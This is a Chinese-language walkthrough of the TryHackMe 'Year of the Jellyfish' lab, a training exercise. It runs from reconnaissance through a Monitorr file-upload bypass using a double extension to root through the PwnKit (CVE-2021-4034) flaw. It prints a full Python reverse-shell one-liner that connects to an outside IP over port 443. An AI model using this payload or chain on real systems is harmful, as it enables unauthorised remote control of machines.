> 文章列表 > TryHackMe-Year of the Jellyfish(linux渗透测试)

TryHackMe-Year of the Jellyfish(linux渗透测试)

TryHackMe-Year of the Jellyfish(linux渗透测试)

Year of the Jellyfish

请注意 - 此框使用公共 IP 进行部署。想想这对你应该如何应对这一挑战意味着什么。如果您高速枚举公共 IP 地址,ISP 通常会不满意…


端口扫描

循例nmap

TryHackMe-Year of the Jellyfish(linux渗透测试)

扫描结果中还有域名,加进hosts

TryHackMe-Year of the Jellyfish(linux渗透测试)

FTP 枚举

尝试anonymous

TryHackMe-Year of the Jellyfish(linux渗透测试)

Web枚举

有三个端口的http 80、443、8000、8096,80会跳转到443

443是一个宠物商店

TryHackMe-Year of the Jellyfish(linux渗透测试)

通过源代码可以找到有关cms的信息

TryHackMe-Year of the Jellyfish(linux渗透测试)

然而通过github得知,这个cms没后台,可能是个兔子洞

访问8000端口

TryHackMe-Year of the Jellyfish(linux渗透测试)

当我尝试各种vhost扫描,甚至当我反应过来这是公网ip时,我尝试通过osint收集子域信息,但都无果

最后我忽略了https的证书信息,好吧,我不会在忘记了

TryHackMe-Year of the Jellyfish(linux渗透测试)

将这些子域都添加到hosts

dev跟80端口一样,beta跟8000端口一致

monitorr

TryHackMe-Year of the Jellyfish(linux渗透测试)

任意文件上传 - RCE

在底部暴露了cms项目地址和版本号

TryHackMe-Year of the Jellyfish(linux渗透测试)

但是使用searchsploit同时发现了rce和身份验证绕过

TryHackMe-Year of the Jellyfish(linux渗透测试)

然而利用貌似不成功,账户未被成功创建,原因是exp的那个url不存在,可能已经被出题人删了

TryHackMe-Year of the Jellyfish(linux渗透测试)

在github上查看页面代码

TryHackMe-Year of the Jellyfish(linux渗透测试)

还有一个未授权任意文件上传漏洞

upload.php存在缺陷且没有安全检查,只要绕过getimagesize函数即可任意文件上传

TryHackMe-Year of the Jellyfish(linux渗透测试)

由于靶机是公网ip,这里可以利用thm的网络kali

TryHackMe-Year of the Jellyfish(linux渗透测试)

发现有后缀黑名单

TryHackMe-Year of the Jellyfish(linux渗透测试)

双重后缀可以绕过

TryHackMe-Year of the Jellyfish(linux渗透测试)

Reverse Shell

试了几种方式反向shell,但都弹不出来,断定开了防火墙,但尝试查看iptables策略却得不到结果

根据thm红队绕过防火墙的房间,我们可以尝试80、443这些端口

payload:

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("54.195.30.192",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")' 

TryHackMe-Year of the Jellyfish(linux渗透测试)

getshell

flag1在www-data家目录

TryHackMe-Year of the Jellyfish(linux渗透测试)

权限提升 - CVE-2021-4034

看到是ubuntu 18.04 lts

TryHackMe-Year of the Jellyfish(linux渗透测试)

pkexec还有suid

TryHackMe-Year of the Jellyfish(linux渗透测试)

直接打pwnkit

TryHackMe-Year of the Jellyfish(linux渗透测试)

getroot